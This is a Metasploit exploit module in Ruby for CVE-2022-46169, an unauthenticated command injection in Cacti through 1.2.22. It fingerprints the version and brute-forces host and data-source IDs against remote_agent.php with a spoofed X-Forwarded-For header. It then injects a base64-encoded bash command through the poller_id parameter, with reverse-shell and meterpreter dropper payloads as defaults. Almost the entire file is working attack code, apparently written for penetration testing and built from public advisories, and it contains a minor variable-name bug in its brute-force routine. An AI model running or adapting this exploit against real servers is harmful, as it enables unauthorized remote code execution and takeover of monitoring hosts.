##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Cacti 1.2.22 unauthenticated command injection',
        'Description' => %q{
          This module exploits an unauthenticated command injection
          vulnerability in Cacti through 1.2.22 (CVE-2022-46169) in
          order to achieve unauthenticated remote code execution as the
          www-data user.

          The module first attempts to obtain the Cacti version to see
          if the target is affected. If LOCAL_DATA_ID and/or HOST_ID
          are not set, the module will try to bruteforce the missing
          value(s). If a valid combination is found, the module will
          use these to attempt exploitation. If LOCAL_DATA_ID and/or
          HOST_ID are both set, the module will immediately attempt
          exploitation.

          During exploitation, the module sends a GET request to
          /remote_agent.php with the action parameter set to polldata
          and the X-Forwarded-For header set to the provided value for
          X_FORWARDED_FOR_IP (by default 127.0.0.1). In addition, the
          poller_id parameter is set to the payload and the host_id
          and local_data_id parameters are set to the bruteforced or
          provided values. If X_FORWARDED_FOR_IP is set to an address
          that is resolvable to a hostname in the poller table, and the
          local_data_id and host_id values are vulnerable, the payload
          set for poller_id will be executed by the target.

          This module has been successfully tested against Cacti
          version 1.2.22 running on Ubuntu 21.10 (vulhub docker image)
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Stefan Schiller', # discovery (independent of Steven Seeley)
          'Steven Seeley', # (mr_me) @steventseeley - discovery (independent of Stefan Schiller)
          'Owen Gong', # @phithon_xg - vulhub PoC
          'Erik Wynter' # @wyntererik - Metasploit
        ],
        'References' => [
          ['CVE', '2022-46169'],
          ['URL', 'https://github.com/Cacti/cacti/security/advisories/GHSA-6p93-p743-35gf'], # disclosure and technical details
          ['URL', 'https://github.com/vulhub/vulhub/tree/master/cacti/CVE-2022-46169'], # vulhub vulnerable docker image and PoC
          ['URL', 'https://www.sonarsource.com/blog/cacti-unauthenticated-remote-code-execution'] # analysis by Stefan Schiller
        ],
        'DefaultOptions' => {
          'RPORT' => 8080
        },
        'Platform' => %w[unix linux],
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Targets' => [
          [
            'Automatic (Unix In-Memory)',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' },
              'Type' => :unix_memory
            }
          ],
          [
            'Automatic (Linux Dropper)',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'CmdStagerFlavor' => ['echo', 'printf', 'wget', 'curl'],
              'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },
              'Type' => :linux_dropper
            }
          ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2022-12-05',
        'DefaultTarget' => 1,
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'The base path to Cacti', '/']),
      OptString.new('X_FORWARDED_FOR_IP', [true, 'The IP to use in the X-Forwarded-For HTTP header. This should be resolvable to a hostname in the poller table.', '127.0.0.1']),
      OptInt.new('HOST_ID', [false, 'The host_id value to use. By default, the module will try to bruteforce this.']),
      OptInt.new('LOCAL_DATA_ID', [false, 'The local_data_id value to use. By default, the module will try to bruteforce this.'])
    ])

    register_advanced_options([
      OptInt.new('MIN_HOST_ID', [true, 'Lower value for the range of possible host_id values to check for', 1]),
      OptInt.new('MAX_HOST_ID', [true, 'Upper value for the range of possible host_id values to check for', 5]),
      OptInt.new('MIN_LOCAL_DATA_ID', [true, 'Lower value for the range of possible local_data_id values to check for', 1]),
      OptInt.new('MAX_LOCAL_DATA_ID', [true, 'Upper value for the range of possible local_data_id values to check for', 100])
    ])
  end

  def check
    # sanity check to see if the target is likely Cacti
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path)
    })

    unless res
      return CheckCode::Unknown('Connection failed.')
    end

    unless res.code == 200 && res.body.include?('<title>Login to Cacti')
      return CheckCode::Safe('Target is not a Cacti application.')
    end

    # get the version
    version = res.body.scan(/Version (.*?) \| \(c\)/)&.flatten&.first
    if version.blank?
      return CheckCode::Detected('Could not determine the Cacti version: the HTTP response body did not match the expected format.')
    end

    begin
      if Rex::Version.new(version) <= Rex::Version.new('1.2.22')
        return CheckCode::Appears("The target is Cacti version #{version}")
      else
        return CheckCode::Safe("The target is Cacti version #{version}")
      end
    rescue StandardError => e
      return CheckCode::Unknown("Failed to obtain a valid Cacti version: #{e}")
    end
  end

  def exploitable_rrd_names
    [
      'apache_total_kbytes',
      'apache_total_hits',
      'apache_total_hits',
      'apache_total_kbytes',
      'apache_cpuload',
      'boost_avg_size',
      'boost_peak_memory',
      'boost_records',
      'boost_table',
      'ExportDuration',
      'ExportGraphs',
      'syslogRuntime',
      'tholdRuntime',
      'polling_time',
      'uptime',
    ]
  end

  def brute_force_ids
    # perform a sanity check first
    if @host_id
      host_ids = [@host_id]
    else
      if datastore['MAX_HOST_ID'] < datastore['MIN_HOST_ID']
        fail_with(Failure::BadConfig, 'The value for MAX_HOST_ID is lower than MIN_HOST_ID. This is impossible')
      end
      host_ids = (datastore['MIN_HOST_ID']..datastore['MAX_HOST_ID']).to_a
    end

    if @local_data_id
      local_data_ids = [@local_data_ids]
    else
      if datastore['MAX_LOCAL_DATA_ID'] < datastore['MIN_LOCAL_DATA_ID']
        fail_with(Failure::BadConfig, 'The value for MAX_LOCAL_DATA_ID is lower than MIN_LOCAL_DATA_ID. This is impossible')
      end
      local_data_ids = (datastore['MIN_LOCAL_DATA_ID']..datastore['MAX_LOCAL_DATA_ID']).to_a
    end

    # lets make sure the module never performs more than 1,000 possible requests to try and bruteforce host_id and local_data_id
    max_attempts = host_ids.length * local_data_ids.length
    if max_attempts > 1000
      fail_with(Failure::BadConfig, 'The number of possible HOST_ID and LOCAL_DATA_ID combinations exceeds 1000. Please limit this number by adjusting the MIN and MAX options for both parameters.')
    end

    potential_targets = []
    request_ct = 0

    print_status("Trying to bruteforce an exploitable host_id and local_data_id by trying up to #{max_attempts} combinations")
    host_ids.each do |h_id|
      print_status("Enumerating local_data_id values for host_id #{h_id}")
      local_data_ids.each do |ld_id|
        request_ct += 1
        print_status("Performing request #{request_ct}...") if request_ct % 25 == 0

        res = send_request_cgi(remote_agent_request(ld_id, h_id, rand(1..1000)))
        unless res
          print_error('No response received. Aborting bruteforce')
          return nil
        end

        unless res.code == 200
          print_error("Received unexpected response code #{res.code}. This shouldn't happen. Aborting bruteforce")
          return nil
        end

        begin
          parsed_response = JSON.parse(res.body)
        rescue JSON::ParserError
          print_error("The response body is not in valid JSON format. This shouldn't happen. Aborting bruteforce")
          return nil
        end

        unless parsed_response.is_a?(Array)
          print_error("The response body is not in the expected format. This shouldn't happen. Aborting bruteforce")
          return nil
        end

        # the array can be empty, which is not an error but just means the local_data_id is not exploitable
        next if parsed_response.empty?

        first_item = parsed_response.first
        unless first_item.is_a?(Hash) && ['value', 'rrd_name', 'local_data_id'].all? { |key| first_item.keys.include?(key) }
          print_error("The response body is not in the expected format. This shouldn't happen. Aborting bruteforce")
          return nil
        end

        # some data source types that can be exploited have a valid rrd_name. these are included in the exploitable_rrd_names array
        # if we encounter one of these, we should assume the local_data_id is exploitable and try to exploit it
        # in addition, some data source types have an empty rrd_name but are still exploitable
        # however, if the rrd_name is blank, the only way to verify if a local_data_id value corresponds to an exploitable data source, is to actually try and exploit it
        # instead of trying to exploit all potential targets of the latter category, let's just save these and print them at the end
        # then the user can try to exploit them manually by setting the HOST_ID and LOCAL_DATA_ID options
        rrd_name = first_item['rrd_name']
        if rrd_name.empty?
          potential_targets << [h_id, ld_id]
        elsif exploitable_rrd_names.include?(rrd_name)
          print_good("Found exploitable local_data_id #{ld_id} for host_id #{h_id}")
          return [h_id, ld_id]
        else
          next # if we have a valid rrd_name but it's not in the exploitable_rrd_names array, we should move on
        end
      end
    end

    return nil if potential_targets.empty?

    # inform the user about potential targets
    print_warning("Identified #{potential_targets.length} host_id - local_data_id combination(s) that may be exploitable, but could not be positively identified as such:")
    potential_targets.each do |h_id, ld_id|
      print_line("\thost_id: #{h_id} - local_data_id: #{ld_id}")
    end
    print_status('You can try to exploit these by manually configuring the HOST_ID and LOCAL_DATA_ID options')
    nil
  end

  def execute_command(cmd, _opts = {})
    # use base64 encoding to get around special char limitations
    cmd = "`echo #{Base64.strict_encode64(cmd)} | base64 -d | /bin/bash`"
    send_request_cgi(remote_agent_request(@local_data_id, @host_id, cmd), 0)
  end

  def exploit
    @host_id = datastore['HOST_ID'] if datastore['HOST_ID'].present?
    @local_data_id = datastore['LOCAL_DATA_ID'] if datastore['LOCAL_DATA_ID'].present?

    unless @host_id && @local_data_id
      brute_force_result = brute_force_ids
      unless brute_force_result
        fail_with(Failure::NoTarget, 'Failed to identify an exploitable host_id - local_data_id combination.')
      end
      @host_id, @local_data_id = brute_force_result
    end

    if target.arch.first == ARCH_CMD
      print_status('Executing the payload. This may take a few seconds...')
      execute_command(payload.encoded)
    else
      execute_cmdstager(background: true)
    end
  end

  def remote_agent_request(ld_id, h_id, poller_id)
    {
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'remote_agent.php'),
      'headers' => {
        'X-Forwarded-For' => datastore['X_FORWARDED_FOR_IP']
      },
      'vars_get' => {
        'action' => 'polldata',
        'local_data_ids[0]' => ld_id,
        'host_id' => h_id,
        'poller_id' => poller_id # when bruteforcing, this is a random number, but during exploitation this is the payload
      }
    }
  end
end
